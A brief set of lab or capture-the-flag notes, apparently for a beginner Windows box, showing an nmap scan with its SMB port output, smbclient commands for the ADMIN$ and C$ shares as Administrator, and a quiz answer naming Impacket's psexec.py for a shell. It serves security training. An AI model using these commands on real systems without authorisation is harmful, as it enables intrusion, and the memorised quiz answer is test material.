Tactics

nmap -sV -sT -Pn -v <target_ip>

PORT    STATE SERVICE       VERSION
135/tcp open  msrpc         Microsoft Windows RPC
139/tcp open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds?

smbclient -L <target_ip> -U Administrator

smbclient \\\\<target_ip>\\ADMIN$ -U Administrator
smbclient \\\\<target_ip>\\C$ -U Administrator

Which tool that is part of the Impacket collection can be used to get an interactive shell on the system? psexec.py